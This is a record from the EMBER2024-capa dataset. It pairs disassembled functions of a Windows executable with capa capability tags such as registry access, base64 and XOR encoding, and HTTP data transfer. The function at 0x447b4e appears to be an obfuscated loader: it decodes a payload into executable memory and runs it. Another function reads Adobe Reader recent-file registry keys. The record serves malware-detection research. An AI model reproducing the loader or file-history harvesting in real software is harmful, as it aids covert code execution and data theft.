joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40dda1
Capabilities:
Query or enumerate registry value

Disassembly:
push 0x44
mov eax, 0x473e68
call fcn.0043ee6a
mov esi, ecx
push 4
pop ebx
xor edi, edi
push edi
push 0xffffffffffffffff
push 0x485200
lea ecx, [ebp - 0x50]
mov dword [ebp - 0x14], ebx
call fcn.00408d63
push dword [ebp + 8]
lea eax, [ebp - 0x50]
push eax
lea eax, [ebp - 0x38]
push eax
mov dword [ebp - 4], edi
call fcn.0041ebf4
add esp, 0xc
lea ecx, [ebp - 0x40]
mov byte [ebp - 4], 2
call fcn.004035af
lea ecx, [ebp - 0x48]
call fcn.004035af
push esi
lea ecx, [ebp - 0x20]
call fcn.00447b4e
mov byte [ebp - 4], 3
cmp dword [esi + 8], edi
je 0x40deab
push 1
mov ecx, esi
call fcn.00447b4e
test eax, eax
je 0x40de83
cmp dword [esi + 0xc], edi
je 0x40deab
lea ecx, [ebp - 0x38]
call fcn.00408157
push eax
call dword [sym.imp.OLEAUT32.dll_SysReAllocString]
lea edx, [ebp - 0x10]
push edx
mov ebx, eax
mov eax, dword [esi + 0xc]
mov ecx, dword [eax]
push ebx
push dword [esi + 8]
push eax
call dword [ecx + 0x80]
push ebx
test eax, eax
jne 0x40de7b
call dword [sym.imp.OLEAUT32.dll_SysStringLen]
mov esi, dword [ebp - 0x10]
mov byte [ebp - 4], 2
cmp dword [ebp - 0x1c], edi
je 0x40de61
mov ecx, dword [ebp - 0x20]
call fcn.0040acc8
lea ecx, [ebp - 0x28]
call fcn.004035af
lea ecx, [ebp - 0x30]
call fcn.004035af
mov eax, esi
call fcn.0043ef42
ret 8
call dword [sym.imp.OLEAUT32.dll_SysStringLen]
jmp 0x40deab
lea ecx, [ebp - 0x38]
call fcn.00408157
lea ecx, [ebp - 0x14]
push ecx
lea ecx, [ebp - 0x10]
push ecx
lea ecx, [ebp - 0x18]
push ecx
push edi
push eax
push dword [esi + 8]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x40deab
cmp dword [ebp - 0x18], ebx
je 0x40de4d
mov byte [ebp - 4], 2
cmp dword [ebp - 0x1c], edi
je 0x40debc
mov ecx, dword [ebp - 0x20]
call fcn.0040acc8
mov esi, dword [ebp + 0xc]
jmp 0x40de61
Function at 0x40e370
Capabilities:
Set registry value

Disassembly:
push 0x88
mov eax, 0x473e32
call fcn.0043ee6a
mov esi, ecx
xor edi, edi
push edi
push 0xffffffffffffffff
push 0x485240
lea ecx, [ebp - 0x2c]
call fcn.00408d63
push dword [ebp + 8]
lea eax, [ebp - 0x2c]
push eax
lea eax, [ebp - 0x60]
push eax
mov dword [ebp - 4], edi
call fcn.0041ebf4
add esp, 0xc
lea ecx, [ebp - 0x1c]
mov byte [ebp - 4], 2
call fcn.004035af
lea ecx, [ebp - 0x24]
call fcn.004035af
push esi
lea ecx, [ebp - 0x14]
call fcn.00447b4e
mov byte [ebp - 4], 3
cmp dword [esi + 8], edi
jne 0x40e418
push edi
push 0xffffffffffffffff
push str.error_setting_key
lea ecx, [ebp - 0x2c]
call fcn.00408d63
push dword [ebp + 8]
lea eax, [ebp - 0x2c]
push eax
lea eax, [ebp - 0x78]
push eax
mov byte [ebp - 4], 4
call fcn.0041ebf4
add esp, 0xc
mov byte [ebp - 4], 5
push eax
lea ecx, [ebp - 0x44]
mov dword [ebp - 0x48], vtable.RSException.0
call fcn.00403a4f
push 0x493cfc
lea eax, [ebp - 0x48]
push eax
call sub.MSVCR100.dll__CxxThrowException
push 1
mov ecx, esi
call fcn.00447b4e
test eax, eax
je 0x40e4b9
cmp dword [esi + 0xc], edi
je 0x40e490
lea ecx, [ebp - 0x60]
call fcn.00408157
push eax
call dword [sym.imp.OLEAUT32.dll_SysReAllocString]
push dword [ebp + 0xc]
mov ebx, eax
mov eax, dword [esi + 0xc]
mov ecx, dword [eax]
push ebx
push dword [esi + 8]
push eax
call dword [ecx + 0x78]
push ebx
test eax, eax
je 0x40e48a
call dword [sym.imp.OLEAUT32.dll_SysStringLen]
push edi
push 0xffffffffffffffff
push str.error_setting_key
lea ecx, [ebp - 0x2c]
call fcn.00408d63
push dword [ebp + 8]
lea eax, [ebp - 0x2c]
push eax
lea eax, [ebp - 0x78]
push eax
mov byte [ebp - 4], 6
call fcn.0041ebf4
add esp, 0xc
mov byte [ebp - 4], 7
jmp 0x40e3fa
call dword [sym.imp.OLEAUT32.dll_SysStringLen]
mov byte [ebp - 4], 2
cmp dword [ebp - 0x10], edi
je 0x40e4a1
mov ecx, dword [ebp - 0x14]
call fcn.0040acc8
lea ecx, [ebp - 0x50]
call fcn.004035af
lea ecx, [ebp - 0x58]
call fcn.004035af
call fcn.0043ef42
ret 8
lea ecx, [ebp - 0x60]
call fcn.00408157
push 4
lea ecx, [ebp + 0xc]
push ecx
push 4
push edi
push eax
push dword [esi + 8]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test eax, eax
je 0x40e490
push edi
push 0xffffffffffffffff
push str.error_setting_key
lea ecx, [ebp - 0x78]
call fcn.00408d63
push dword [ebp + 8]
lea eax, [ebp - 0x78]
push eax
lea eax, [ebp - 0x44]
push eax
mov byte [ebp - 4], 8
call fcn.0041ebf4
add esp, 0xc
push eax
lea ecx, [ebp - 0x90]
mov byte [ebp - 4], 9
mov dword [ebp - 0x94], vtable.RSException.0
call fcn.00403a4f
push 0x493cfc
lea eax, [ebp - 0x94]
jmp 0x40e412
Function at 0x40e529
Capabilities:
Query or enumerate registry value

Disassembly:
push 0x44
mov eax, 0x473e68
call fcn.0043ee6a
mov esi, ecx
push 4
pop ebx
xor edi, edi
push edi
push 0xffffffffffffffff
push 0x485240
lea ecx, [ebp - 0x50]
mov dword [ebp - 0x14], ebx
call fcn.00408d63
push dword [ebp + 8]
lea eax, [ebp - 0x50]
push eax
lea eax, [ebp - 0x38]
push eax
mov dword [ebp - 4], edi
call fcn.0041ebf4
add esp, 0xc
lea ecx, [ebp - 0x40]
mov byte [ebp - 4], 2
call fcn.004035af
lea ecx, [ebp - 0x48]
call fcn.004035af
cmp dword [esi + 8], edi
jne 0x40e59b
mov esi, dword [ebp + 0xc]
lea ecx, [ebp - 0x28]
call fcn.004035af
lea ecx, [ebp - 0x30]
call fcn.004035af
mov eax, esi
call fcn.0043ef42
ret 8
push esi
lea ecx, [ebp - 0x20]
call fcn.00447b4e
push 1
mov ecx, esi
mov byte [ebp - 4], 3
call fcn.00447b4e
test eax, eax
je 0x40e616
cmp dword [esi + 0xc], edi
je 0x40e63e
lea ecx, [ebp - 0x38]
call fcn.00408157
push eax
call dword [sym.imp.OLEAUT32.dll_SysReAllocString]
lea edx, [ebp - 0x10]
push edx
mov ebx, eax
mov eax, dword [esi + 0xc]
mov ecx, dword [eax]
push ebx
push dword [esi + 8]
push eax
call dword [ecx + 0x80]
push ebx
test eax, eax
jne 0x40e60e
call dword [sym.imp.OLEAUT32.dll_SysStringLen]
xor eax, eax
cmp dword [ebp - 0x10], edi
mov byte [ebp - 4], 2
setne al
mov esi, eax
cmp dword [ebp - 0x1c], edi
je 0x40e581
mov ecx, dword [ebp - 0x20]
call fcn.0040acc8
jmp 0x40e581
call dword [sym.imp.OLEAUT32.dll_SysStringLen]
jmp 0x40e63e
lea ecx, [ebp - 0x38]
call fcn.00408157
lea ecx, [ebp - 0x14]
push ecx
lea ecx, [ebp - 0x10]
push ecx
lea ecx, [ebp - 0x18]
push ecx
push edi
push eax
push dword [esi + 8]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x40e63e
cmp dword [ebp - 0x18], ebx
je 0x40e5ee
mov byte [ebp - 4], 2
cmp dword [ebp - 0x1c], edi
je 0x40e57e
mov ecx, dword [ebp - 0x20]
call fcn.0040acc8
jmp 0x40e57e
Function at 0x43edd8
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x4a806c]
jne 0x43ede2
repz ret
jmp fcn.0043f678

Function at 0x43f3bc
Capabilities:
Terminate process

Disassembly:
push 0x5c
push 0x49d3c8
call fcn.0043f060
xor ebx, ebx
mov dword [ebp - 0x1c], ebx
lea eax, [ebp - 0x6c]
push eax
call dword [sym.imp.kernel32.dll_GetStartupInfoW]
cmp dword [0x4ad688], ebx
jne 0x43f157
push ebx
push ebx
push 1
push ebx
call dword [sym.imp.kernel32.dll_HeapSetInformation]
mov dword [ebp - 4], ebx
mov eax, dword fs:[0x18]
mov esi, dword [eax + 4]
mov dword [ebp - 0x24], ebx
mov edi, 0x4ad684
push ebx
push esi
push edi
call dword [sym.imp.kernel32.dll_InterlockedCompareExchange]
cmp eax, ebx
je 0x43f191
cmp eax, esi
jne 0x43f184
xor esi, esi
inc esi
mov dword [ebp - 0x24], esi
jmp 0x43f194
push 0x3e8
call dword [sym.imp.kernel32.dll_Sleep]
jmp 0x43f16b
xor esi, esi
inc esi
mov eax, dword [0x4ad680]
cmp eax, esi
jne 0x43f1a7
push 0x1f
call sub.MSVCR100.dll__amsg_exit
pop ecx
jmp 0x43f1e2
mov eax, dword [0x4ad680]
test eax, eax
jne 0x43f1dc
mov dword [0x4ad680], esi
push 0x482b98
push 0x482b88
call sub.MSVCR100.dll__initterm_e
pop ecx
pop ecx
test eax, eax
je 0x43f1e2
mov dword [ebp - 4], 0xfffffffe
mov eax, 0xff
jmp 0x43f2fc
mov dword [0x4acd64], esi
mov eax, dword [0x4ad680]
cmp eax, esi
jne 0x43f206
push 0x482b84
push 0x482488
call sub.MSVCR100.dll__initterm
pop ecx
pop ecx
mov dword [0x4ad680], 2
cmp dword [ebp - 0x24], ebx
jne 0x43f213
push ebx
push edi
call dword [sym.imp.kernel32.dll_InterlockedExchange]
cmp dword [0x4ad68c], ebx
je 0x43f234
push 0x4ad68c
call fcn.00447b4e
pop ecx
test eax, eax
je 0x43f234
push ebx
push 2
push ebx
call dword [0x4ad68c]
mov eax, dword [sym.imp.MSVCR100.dll__acmdln]
mov esi, dword [eax]
mov dword [ebp - 0x20], esi
mov al, byte [esi]
cmp al, 0x20
ja 0x43f28d
cmp al, bl
je 0x43f24d
cmp dword [ebp - 0x1c], ebx
jne 0x43f28d
mov al, byte [esi]
cmp al, bl
je 0x43f25d
cmp al, 0x20
ja 0x43f25d
inc esi
mov dword [ebp - 0x20], esi
jmp 0x43f24d
test byte [ebp - 0x40], 1
je 0x43f269
movzx eax, word [ebp - 0x3c]
jmp 0x43f26c
push 0xa
pop eax
push eax
push esi
push ebx
push 0x400000
call main
mov dword [0x4acd60], eax
cmp dword [0x4acd54], ebx
jne 0x43f2e2
push eax
call dword [sym.imp.MSVCR100.dll_exit]
cmp al, 0x22
jne 0x43f29c
xor ecx, ecx
cmp dword [ebp - 0x1c], ebx
sete cl
mov dword [ebp - 0x1c], ecx
movzx eax, al
push eax
call dword [sym.imp.MSVCR100.dll__ismbblead]
pop ecx
test eax, eax
je 0x43f2af
inc esi
mov dword [ebp - 0x20], esi
inc esi
jmp 0x43f23b
cmp dword [0x4acd64], ebx
jne 0x43f2f0
call dword [sym.imp.MSVCR100.dll__cexit]
mov dword [ebp - 4], 0xfffffffe
mov eax, dword [0x4acd60]
call fcn.0043f0a5
ret
call fcn.00447b4e
jmp 0x43f129
Function at 0x4402d1
Capabilities:
Encode data using base64

Disassembly:
push 0x34
mov eax, 0x47abe5
call fcn.0043eed3
mov eax, dword [ebp + 8]
xor ecx, ecx
mov dword [ebp - 0x40], ecx
mov dword [ebp - 0x3c], eax
mov dword [ebp - 0x18], 0xf
mov dword [ebp - 0x1c], ecx
mov byte [ebp - 0x2c], cl
xor eax, eax
lea edi, [ebp - 0x2f]
mov byte [ebp - 0x30], 0
stosw word es:[edi], ax
mov byte [ebp - 0x34], al
lea edi, [ebp - 0x33]
stosw word es:[edi], ax
xor esi, esi
mov dword [ebp - 4], 1
stosb byte es:[edi], al
cmp dword [ebp + 0x10], ecx
je 0x440432
mov edi, dword [ebp + 0xc]
mov al, byte [edi]
dec dword [ebp + 0x10]
mov byte [ebp + esi - 0x30], al
mov bl, byte [ebp - 0x2f]
inc esi
inc edi
cmp esi, 3
jne 0x44038b
mov al, byte [ebp - 0x30]
shr al, 2
mov byte [ebp - 0x34], al
mov al, byte [ebp - 0x30]
and al, 3
shl al, 4
mov dl, bl
shr dl, 4
add al, dl
mov dl, byte [ebp - 0x2e]
mov byte [ebp - 0x33], al
mov al, bl
and al, 0xf
shl al, 2
shr dl, 6
add al, dl
mov byte [ebp - 0x32], al
mov al, byte [ebp - 0x2e]
and al, 0x3f
mov byte [ebp - 0x31], al
xor esi, esi
movzx eax, byte [ebp + esi - 0x34]
mov al, byte [eax + str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_]
mov byte [ebp - 0x38], al
push dword [ebp - 0x38]
lea ecx, [ebp - 0x2c]
push 1
call fcn.00447b4e
inc esi
cmp esi, 4
jb 0x440368
xor esi, esi
xor ecx, ecx
cmp dword [ebp + 0x10], ecx
jne 0x44031e
cmp esi, ecx
je 0x440429
cmp esi, 3
jae 0x4403b6
push 3
pop edx
sub edx, esi
push edx
lea eax, [ebp + esi - 0x30]
push ecx
push eax
call sub.MSVCR100.dll_memset
mov bl, byte [ebp - 0x2f]
add esp, 0xc
mov al, byte [ebp - 0x30]
mov cl, al
shr cl, 2
mov byte [ebp - 0x34], cl
and al, 3
mov cl, bl
shl al, 4
shr cl, 4
add al, cl
mov byte [ebp - 0x33], al
mov al, byte [ebp - 0x2e]
and bl, 0xf
mov cl, al
shl bl, 2
shr cl, 6
add bl, cl
mov byte [ebp - 0x32], bl
and al, 0x3f
lea ebx, [esi + 1]
xor edi, edi
mov byte [ebp - 0x31], al
test ebx, ebx
je 0x440411
movzx eax, byte [ebp + edi - 0x34]
mov al, byte [eax + str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_]
mov byte [ebp - 0x38], al
push dword [ebp - 0x38]
lea ecx, [ebp - 0x2c]
push 1
call fcn.00447b4e
inc edi
cmp edi, ebx
jb 0x4403f1
push 3
pop edi
cmp esi, edi
jae 0x440429
sub edi, esi
push 0x3d
push 1
lea ecx, [ebp - 0x2c]
call fcn.00447b4e
dec edi
jne 0x44041a
cmp dword [ebp - 0x18], 0x10
mov eax, dword [ebp - 0x2c]
jae 0x440435
lea eax, [ebp - 0x2c]
mov ecx, dword [ebp - 0x3c]
push 0xffffffffffffffff
push eax
call fcn.004057c2
xor eax, eax
inc eax
push 0
push eax
lea ecx, [ebp - 0x2c]
mov dword [ebp - 0x40], eax
mov byte [ebp - 4], 0
call fcn.00447b4e
mov eax, dword [ebp - 0x3c]
call fcn.0043ef56
ret
Function at 0x447b4e
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x54
pushal
call 0x447b5d
pop dword [ebp - 0x44]
mov eax, 0x447b5d
sub dword [ebp - 0x44], eax
mov dword [ebp - 0x54], 0x8756d72b
sub dword [ebp - 0x54], 0x390491e0
mov dword [ebp - 0x50], 0xbef014a5
add dword [ebp - 0x50], 0x734337a0
mov dword [ebp - 0x4c], 0x840f8264
sub dword [ebp - 0x4c], 0x37c33e36
mov dword [ebp - 0x48], 0x6c2efa96
add dword [ebp - 0x48], 0x93d1056a
lea eax, [ebp - 0x54]
push eax
mov eax, sym.imp.kernel32.dll_GetModuleHandleA
add eax, dword [ebp - 0x44]
call dword [eax]
mov dword [ebp - 0x54], 0xebd45f2f
add dword [ebp - 0x54], 0x889e0a27
mov dword [ebp - 0x50], 0x3ab7b67a
sub dword [ebp - 0x50], 0xf94b5505
mov dword [ebp - 0x4c], 0x2b0c26e6
add dword [ebp - 0x4c], 0x38634586
mov dword [ebp - 0x48], 0xd6d6fa11
add dword [ebp - 0x48], 0x292905ef
lea ebx, [ebp - 0x54]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0x44]
call dword [eax]
push 0x40
push 0x1000
push 0x44a34
push 0
call eax
mov ecx, 0xdc9b0be8
sub ecx, 0xdc9ad12e
mov edx, eax
mov ebx, 0x4bb400
add ebx, dword [ebp - 0x44]
mov esi, 0xb68e5688
add esi, 0x53e63eed
sub dword [ebp - 8], edx
mov edi, dword [ebx]
sub dword [ebp - 0x1c], 0x127f299
xor edi, esi
sub dword [ebp - 0x20], 0x5ac894ce
mov dword [edx], edi
sub dword [ebp - 0x34], 0xcecf2707
add edx, 0x61b896a4
add edx, 0x9e476960
add ebx, 0xf8fcaa05
add ebx, 0x70355ff
loop 0x447c6a
add eax, 0x8a5cb6f8
sub eax, 0x8a5bd93d
xor ebx, ebx
add ebx, eax
add eax, 0x836e3761
add eax, 0x7c91c8a4
mov ecx, 0x4ad188c2
add ecx, 0xb56e773e
add ecx, dword [ebp - 0x44]
call ebx
leave
ret
Function at 0x44f312
Capabilities:
Check http status code
Send data

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
mov ebx, ecx
cmp dword [ebx + 0x1b4], 0
je 0x44f446
lea ecx, [ebx + 0x1a4]
call fcn.00447b4e
cmp byte [eax + 0x18], 0
je 0x44f446
mov eax, dword [ebp + 0xc]
push esi
mov esi, dword [ebp + 8]
push edi
xor edi, edi
add eax, 0xffffff38
inc edi
cmp eax, 0x63
ja 0x44f3ba
lea ecx, [ebx + 0x1d4]
call fcn.00408107
mov eax, dword [ebx + 0x1d8]
lea ecx, [ebx + 0x1d4]
mov dword [ebp + 8], eax
call fcn.00408107
mov ecx, dword [esi]
lea edx, [ebp - 4]
push edx
push dword [ebp + 8]
push eax
push ecx
call dword [sym.imp.WININET.dll_InternetWriteFile]
mov edi, eax
test edi, edi
je 0x44f38e
mov eax, dword [ebp + 8]
cmp dword [ebp - 4], eax
je 0x44f3ba
push dword [esi]
push 0x13
call fcn.00447b4e
pop ecx
pop ecx
mov dword [ebp + 0xc], eax
cmp eax, 0xc8
jge 0x44f3b2
cmp eax, 0x12c
jge 0x44f3ba
mov eax, dword [ebp + 8]
cmp eax, dword [ebp - 4]
je 0x44f3ba
mov eax, dword [0x48d2cc]
mov dword [ebp + 0xc], eax
push dword [ebp + 0x10]
mov ecx, ebx
push dword [ebp + 0xc]
push esi
call fcn.00447b4e
mov dword [ebp + 0xc], eax
test edi, edi
je 0x44f437
add eax, 0xffffff38
cmp eax, 0x63
ja 0x44f433
lea edi, [ebx + 0x1ec]
mov ecx, edi
call fcn.00408107
mov ebx, dword [edi + 4]
mov ecx, edi
call fcn.00408107
mov ecx, dword [esi]
lea edx, [ebp + 0x10]
push edx
push ebx
push eax
push ecx
call dword [sym.imp.WININET.dll_InternetWriteFile]
mov edi, eax
test edi, edi
je 0x44f40a
cmp dword [ebp + 0x10], ebx
je 0x44f433
push dword [esi]
push 0x13
call fcn.00447b4e
pop ecx
pop ecx
mov dword [ebp + 0xc], eax
cmp eax, 0xc8
jge 0x44f42b
cmp eax, 0x12c
jge 0x44f433
cmp ebx, dword [ebp + 0x10]
je 0x44f433
mov eax, dword [0x48d2cc]
mov dword [ebp + 0xc], eax
test edi, edi
jne 0x44f43f
mov eax, dword [0x48d2cc]
mov dword [ebp + 0xc], eax
mov eax, dword [ebp + 0xc]
pop edi
pop esi
jmp 0x44f456
push dword [ebp + 0x10]
mov ecx, ebx
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.00447b4e
pop ebx
leave
ret 0xc
Function at 0x453895
Capabilities:
Check http status code
Send data

Disassembly:
push ebp
mov ebp, esp
push ecx
push edi
mov edi, ecx
cmp dword [edi + 0x1c8], 0
je 0x4539e6
lea ecx, [edi + 0x1b8]
call fcn.00447b4e
cmp byte [eax + 0x18], 0
je 0x4539e6
mov eax, dword [ebp + 0xc]
push ebx
add eax, 0xffffff38
push esi
mov esi, dword [ebp + 8]
mov dword [ebp - 4], 1
cmp eax, 0x63
ja 0x45393d
lea ecx, [edi + 0x188]
call fcn.00408107
mov eax, dword [edi + 0x18c]
lea ecx, [edi + 0x188]
mov dword [ebp - 4], eax
call fcn.00408107
mov ebx, dword [ebp - 4]
mov ecx, dword [esi]
lea edx, [ebp + 8]
push edx
push ebx
push eax
push ecx
call dword [sym.imp.WININET.dll_InternetWriteFile]
mov dword [ebp - 4], eax
test eax, eax
je 0x453914
cmp dword [ebp + 8], ebx
je 0x45393d
push dword [esi]
push 0x13
call fcn.00447b4e
pop ecx
pop ecx
mov dword [ebp + 0xc], eax
cmp eax, 0xc8
jge 0x453935
cmp eax, 0x12c
jge 0x45393d
cmp ebx, dword [ebp + 8]
je 0x45393d
mov eax, dword [0x48d2cc]
mov dword [ebp + 0xc], eax
mov ebx, dword [ebp + 0x10]
mov eax, dword [ebx]
mov ecx, ebx
call dword [eax + 0x18]
push 0
push eax
call fcn.00447b4e
mov edx, dword [edi]
pop ecx
pop ecx
push eax
push ebx
push dword [ebp + 0xc]
mov ecx, edi
push esi
call dword [edx + 0x70]
cmp dword [ebp - 4], 0
mov dword [ebp + 0xc], eax
je 0x4539d7
add eax, 0xffffff38
cmp eax, 0x63
ja 0x4539d1
lea ecx, [edi + 0x1a0]
call fcn.00408107
mov ebx, dword [edi + 0x1a4]
lea ecx, [edi + 0x1a0]
call fcn.00408107
mov ecx, dword [esi]
lea edx, [ebp + 0x10]
push edx
push ebx
push eax
push ecx
call dword [sym.imp.WININET.dll_InternetWriteFile]
mov dword [ebp - 4], eax
test eax, eax
je 0x4539a8
cmp dword [ebp + 0x10], ebx
je 0x4539d1
push dword [esi]
push 0x13
call fcn.00447b4e
pop ecx
pop ecx
mov dword [ebp + 0xc], eax
cmp eax, 0xc8
jge 0x4539c9
cmp eax, 0x12c
jge 0x4539d1
cmp ebx, dword [ebp + 0x10]
je 0x4539d1
mov eax, dword [0x48d2cc]
mov dword [ebp + 0xc], eax
cmp dword [ebp - 4], 0
jne 0x4539df
mov eax, dword [0x48d2cc]
mov dword [ebp + 0xc], eax
mov eax, dword [ebp + 0xc]
pop esi
pop ebx
jmp 0x4539f6
push dword [ebp + 0x10]
mov ecx, edi
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.00447b4e
pop edi
leave
ret 0xc
Function at 0x45cf1d
Capabilities:
Check http status code
Send data

Disassembly:
push 8
mov eax, 0x47f4fc
call fcn.0043ee6a
xor esi, esi
mov dword [ebp - 0x10], 1
cmp dword [ebp + 0x10], esi
je 0x45cfd7
push dword [ebp + 0x14]
call fcn.00447b4e
mov ebx, eax
pop ecx
mov dword [ebp - 0x14], ebx
mov dword [ebp - 4], esi
cmp ebx, esi
je 0x45cfbb
mov edi, dword [ebp + 8]
mov eax, dword [ebp + 0xc]
add eax, 0xffffff38
cmp eax, 0x63
ja 0x45cfbe
push dword [ebp + 0x14]
mov ecx, dword [ebp + 0x10]
push dword [ebp + 0x14]
mov eax, dword [ecx]
push ebx
call dword [eax + 0x14]
mov esi, eax
test esi, esi
jle 0x45cfbe
mov eax, dword [edi]
lea ecx, [ebp + 8]
push ecx
push esi
push ebx
push eax
call dword [sym.imp.WININET.dll_InternetWriteFile]
mov dword [ebp - 0x10], eax
test eax, eax
je 0x45cf90
cmp dword [ebp + 8], esi
je 0x45cf53
push dword [edi]
push 0x13
call fcn.00447b4e
pop ecx
pop ecx
mov dword [ebp + 0xc], eax
cmp eax, 0xc8
jge 0x45cfb1
cmp eax, 0x12c
jge 0x45cf53
cmp esi, dword [ebp + 8]
je 0x45cf53
mov eax, dword [0x48d2cc]
mov dword [ebp + 0xc], eax
jmp 0x45cf53
mov dword [ebp - 0x10], esi
test ebx, ebx
je 0x45cfc9
push ebx
call sub.MSVCR100.dll_void___cdecl_operator_delete___void__
pop ecx
cmp dword [ebp - 0x10], 0
jne 0x45cfd7
mov eax, dword [0x48d2cc]
mov dword [ebp + 0xc], eax
mov eax, dword [ebp + 0xc]
call fcn.0043ef42
ret 0x10

Function at 0x45d004
Capabilities:
Read data from internet
Receive data

Disassembly:
push 8
mov eax, 0x47f4fc
call fcn.0043ee6a
xor esi, esi
mov dword [ebp - 0x10], 1
cmp dword [ebp + 0x10], esi
je 0x45d0bf
push dword [ebp + 0x14]
call fcn.00447b4e
mov ebx, eax
pop ecx
mov dword [ebp - 0x14], ebx
mov edi, dword [ebp + 0xc]
mov dword [ebp - 4], esi
cmp ebx, esi
je 0x45d0a3
mov esi, dword [ebp + 8]
lea eax, [edi - 0xc8]
cmp eax, 0x63
jbe 0x45d04e
cmp dword [ebp + 0x18], 0
je 0x45d0a6
mov eax, dword [esi]
lea ecx, [ebp + 0xc]
push ecx
push dword [ebp + 0x14]
push ebx
push eax
call dword [sym.imp.WININET.dll_InternetReadFile]
mov dword [ebp - 0x10], eax
test eax, eax
je 0x45d0a6
cmp dword [ebp + 0xc], 0
jbe 0x45d0a6
push dword [esi]
push 0x13
call fcn.00447b4e
mov edi, eax
lea eax, [edi - 0xc8]
pop ecx
pop ecx
cmp eax, 0x63
jbe 0x45d08a
cmp dword [ebp + 0x18], 0
je 0x45d03d
push dword [ebp + 0xc]
mov ecx, dword [ebp + 0x10]
mov eax, dword [ecx]
push ebx
call dword [eax + 0xc]
cmp eax, dword [ebp + 0xc]
je 0x45d03d
mov edi, dword [0x48d2cc]
jmp 0x45d03d
mov dword [ebp - 0x10], esi
test ebx, ebx
je 0x45d0b1
push ebx
call sub.MSVCR100.dll_void___cdecl_operator_delete___void__
pop ecx
cmp dword [ebp - 0x10], 0
jne 0x45d0c2
mov edi, dword [0x48d2cc]
jmp 0x45d0c2
mov edi, dword [ebp + 0xc]
mov eax, edi
call fcn.0043ef42
ret 0x14
Function at 0x46110d
Capabilities:
Query or enumerate registry value

Disassembly:
push 0x878
mov eax, 0x48000d
call fcn.0043eed3
mov eax, dword [ebp + 8]
xor ebx, ebx
mov dword [ebp - 0x824], eax
mov dword [ebp - 0x854], ebx
mov dword [ebp - 0x850], ebx
mov dword [ebp - 0x84c], ebx
mov dword [ebp - 0x848], ebx
mov dword [ebp - 0x844], ebx
mov dword [ebp - 0x840], ebx
mov dword [ebp - 4], ebx
mov dword [ebp - 0x818], ebx
push 0xffffffffffffffff
lea ecx, [ebp - 0x854]
cmp dword [ebp + 0xc], ebx
je 0x461168
push str.SoftwareAdobeAcrobat_Reader11.0AVGeneralcRecentFilesc
jmp 0x46116d
push str.SoftwareAdobeAdobe_Acrobat11.0AVGeneralcRecentFilesc
call fcn.00447b4e
xor eax, eax
mov dword [ebp - 0x814], ebx
mov dword [ebp - 0x83c], ebx
mov dword [ebp - 0x838], ebx
mov dword [ebp - 0x834], ebx
mov dword [ebp - 0x830], ebx
mov dword [ebp - 0x82c], ebx
mov dword [ebp - 0x828], ebx
lea esi, [eax + 1]
push esi
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x81c], esp
push ebx
push 0xffffffffffffffff
push 0x4865f0
mov byte [ebp - 4], 1
call fcn.00408d63
lea eax, [ebp - 0x83c]
push eax
call fcn.0040bcdd
lea eax, [ebp - 0x83c]
push eax
lea eax, [ebp - 0x854]
push eax
lea eax, [ebp - 0x884]
push eax
call fcn.0041ebf4
add esp, 0x2c
lea ecx, [ebp - 0x884]
mov byte [ebp - 4], 2
call fcn.00408157
lea ecx, [ebp - 0x814]
push ecx
push 0x20019
push ebx
push eax
push SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
cmp eax, ebx
jne 0x4612ca
cmp dword [ebp - 0x814], ebx
je 0x4612de
push 0x800
lea eax, [ebp - 0x810]
push ebx
push eax
call sub.MSVCR100.dll_memset
add esp, 0xc
lea eax, [ebp - 0x81c]
push eax
lea eax, [ebp - 0x810]
push eax
lea eax, [ebp - 0x820]
push eax
push ebx
push str.tDIText
push dword [ebp - 0x814]
mov dword [ebp - 0x820], 1
mov dword [ebp - 0x81c], 0x800
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
cmp eax, ebx
jne 0x4612ca
cmp dword [ebp - 0x820], 1
jne 0x4612ca
push 0xffffffffffffffff
lea eax, [ebp - 0x810]
push eax
lea ecx, [ebp - 0x86c]
call fcn.00408613
push ebx
push ebx
push dword [ebp - 0x824]
lea ecx, [ebp - 0x86c]
mov byte [ebp - 4], 3
call fcn.004092a7
test ax, ax
je 0x46131a
lea ecx, [ebp - 0x85c]
mov byte [ebp - 4], 2
call fcn.004035af
lea ecx, [ebp - 0x864]
call fcn.004035af
cmp dword [ebp - 0x814], ebx
je 0x4612de
push dword [ebp - 0x814]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea ecx, [ebp - 0x874]
call fcn.004035af
lea ecx, [ebp - 0x87c]
call fcn.004035af
lea ecx, [ebp - 0x82c]
mov byte [ebp - 4], bl
call fcn.004035af
lea ecx, [ebp - 0x834]
call fcn.004035af
mov eax, esi
cmp eax, 0x64
jl 0x461174
jmp 0x461372
push dword [ebp - 0x814]
mov dword [ebp - 0x818], 1
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea ecx, [ebp - 0x85c]
call fcn.004035af
lea ecx, [ebp - 0x864]
call fcn.004035af
lea ecx, [ebp - 0x874]
call fcn.004035af
lea ecx, [ebp - 0x87c]
call fcn.004035af
lea ecx, [ebp - 0x82c]
call fcn.004035af
lea ecx, [ebp - 0x834]
call fcn.004035af
lea ecx, [ebp - 0x844]
call fcn.004035af
lea ecx, [ebp - 0x84c]
call fcn.004035af
mov eax, dword [ebp - 0x818]
call fcn.0043ef56
ret